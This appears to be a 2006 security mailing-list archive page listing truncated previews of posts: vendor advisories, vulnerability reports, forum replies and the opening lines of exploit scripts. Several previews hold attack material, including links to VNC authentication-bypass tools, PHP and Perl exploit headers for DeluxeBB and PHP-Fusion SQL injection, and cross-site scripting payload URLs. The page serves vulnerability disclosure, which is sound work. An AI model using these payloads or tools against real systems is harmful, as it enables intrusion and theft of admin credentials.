-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

windows: http://heapoverflow.com/vnc_reloaded/VNC_bypauth-win32.rar
linux: http://heapoverflow.com/vnc_reloaded/VNC_bypauth-linux.tar.gz
comments: http://heapoverflow.com/viewtopic.php?p=1729

Hello J.Weatherall :)
-----BEGIN PGP SIGNATURE-----
Versio

[ more ]  [ reply ]

This thread was fixed long ago and the current version is recommended. V1.3.0.1

[ more ]  [ reply ]

Newsportal <= 0.36 Remote File Inclusion Vulnerability

[+] Affected Software: Newsportal <= 0.36 + register_globals=on

[+] Vendor: http://florian-amrhein.de/newsportal

[+] Contact. philipp.niedziela (at) gmx (dot) de [email concealed]

[+] Vuln discovered by: Florian Amrhein

[+] PoC by: Philipp Niedziela

// CODE [newsp

[ more ]  [ reply ]

iDefense Labs is pleased to announce the launch of next installment in
our quarterly vulnerability challenge. Last quarter's challenge focused
on critical vulnerabilities in Microsoft products and was a great
success. We would like to thank everyone that forwarded submissions
prior to the deadline o

[ more ]  [ reply ]

======================================================================

Secunia Research 17/05/2006

- IZArc unacev2.dll Buffer Overflow Vulnerability -

======================================================================
Table of Contents

Affected Software........

[ more ]  [ reply ]

Hi David,

The firewalls are not configured to confuse the scanner. The configurations
have been checked by the Checkpoint Tech Support and the Checkpoint SMEs
from our team. This is not a mis-configuration issue and SYNdefender is
disabled.

Regards,
Sanjay Naik, CISSP
Sr. Security Consultant

[ more ]  [ reply ]

Trust unworthy variables in PHP

by SecurityReason.Com

Maksymilian Arciemowicz

max [at] jestsuper [dot] pl

cxib [at] securityreason [dot] com

http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

Recently, I have published a simple 'Full Path Disclosure and SQL Errors' bug, which has p

[ more ]  [ reply ]

--Security Report--
Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 17/05/06 05:37 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
Web: http://www.nukedx.com
}
---
Vendor: Quezza (http://www.quezza.com/)
Version:

[ more ]  [ reply ]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory [ERRATA UPDATE] GLSA 200605-07:02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - -

[ more ]  [ reply ]

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "DeluxeBB <= v1.06 attachment mod_mime exploit\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n";

echo "tested & working against a fresh deluxebb installation\r\n\r\n";

if ($argc<4) {

echo "Usage: php

[ more ]  [ reply ]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory [UPDATE] GLSA 200605-13:04
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - -

[ more ]  [ reply ]

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PHP-Fusion <= v6.00.306 \"srch_where\" SQL Injection/Admin credentials disclosure\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path user pass

[ more ]  [ reply ]

The Weakness of Windows Impersonation Model
<http://www.gentlesecurity.com/04302006.html>

Summary

1. Network Service account?s context is elevated to LocalSystem.
2. A context of MS SQL service running as unique user account is
elevated up to LocalSystem.
3. Any service?s context could be elevated

[ more ]  [ reply ]

_______________________________________________________________________
Rapid7 Security Advisory
Visit http://www.rapid7.com/ to download NeXpose,
SC Magazine Winner of Best Vulnerability Management product.
________________________________________________

[ more ]  [ reply ]

Release Date: 03/01/2006

Affected Applications: SAP WebAS Kernel up to version 7.00

Affected Platforms: Platform-Independant

Local / Remote: Remote

Severity: Medium to High

Author: A. Grossmann arnold.grossmann (at) gmail.com

Vendor Status: Confirmed

Product Overview ( cited from SAP ):
====

[ more ]  [ reply ]

ScanAlert Security Advisory
http://www.scanalert.com

Caucho Resin Multiple Vulnerabilities - Arbitrary File Access & Information
Disclosure

Date: 5/16/06
Vendor: Caucho
Package: Resin
Version: 3.0.17 and 3.0.18 ? Vendor Confirmed
Credit: ScanAlert?s Security and Enterprise Services Teams.

Risk:
C

[ more ]  [ reply ]

Hello,

I have recently come across a strange behavior observed on the Nokia
Checkpoint Firewall. Nokia as well as Checkpoint have no clue as to why this
is occuring and have not provided any resolution to this.

We have been having multiple Vulnerability Scanner failures on the Intranet
of the c

[ more ]  [ reply ]

Hello,

there is a code injection vulnerability in NewsPortal that could give everyone the ability to execute php code on the webserver where newsportal is installed.

This bug should only occur if "register_globals=on" is set in the php.ini.

To remove the problem:

- install the recent ver

[ more ]  [ reply ]

=======================

Discovery by:LiNuX_rOOt

Site:www.alshmokh.com

E-mail:LiNuX_rOOt1 (at) hotmail (dot) com [email concealed]

=======================

Example:

/extend_license/index.html?PHPSESSID=XSS

[ more ]  [ reply ]

---------------------------------------------

Sphider Multiple Xss Vulnerabilities

---------------------------------------------

Site:

http://www.cs.ioc.ee/~ando/sphider/

Bug:

1- http://victim/path/search.php/"><script>alert(/Soot/)</script>

2- http://victim/path/search.php

[ more ]  [ reply ]

---------------------------------------------

PhpRemoteView Multiple Xss Vulnerabilities

---------------------------------------------

Site:

http://php.spb.ru/remview/

Bug:

1- http://victim/path/PRV.php?&c=v&d=[path]&f="><script>alert(/Soot/)</scri
pt>

2- http://victim

[ more ]  [ reply ]

Wow, 1 line of code addition to exploit:
secType=1;

Since I'm sure many have already discovered this (since it is so
trivial), I leave it up to the devious reader to find out where to
insert this.

BTW: RealVNC 4.1.2 is not affected by this bug.

** Disclaimer: If you find out how to exploit thi

[ more ]  [ reply ]

The answer seems to be "it depends". There are really two MSDTC flaws, CVE-2006-0034 and CVE-2006-1184 that are being discussed. Secunia rates the cumulative security risk as "Moderately Critical" and weighs the DoS attack as the dominate effect for modern Windows OSes. FRSIRT rates the cumulative

[ more ]  [ reply ]

#!/usr/bin/perl

use IO::Socket;

print q{

#############################################

# DeluxeBB 1.06 Remote SQL Injection Exploit#

# exploit discovered and coded #

# by KingOfSka #

# http://contropotere.netsons.org #

################################

[ more ]  [ reply ]

Title : YapBB <= 1.2 Beta2 'find.php' SQL Injection Vulnerability

------------------------------------------

Author : x90c(Kyong Joo, Jung)

Published : 2006.5.16

E-mail : geinblues [at] gmail.com

Site : http://www.chollian.net/~jyj9782

------------------------------------------

0x01 Sum

[ more ]  [ reply ]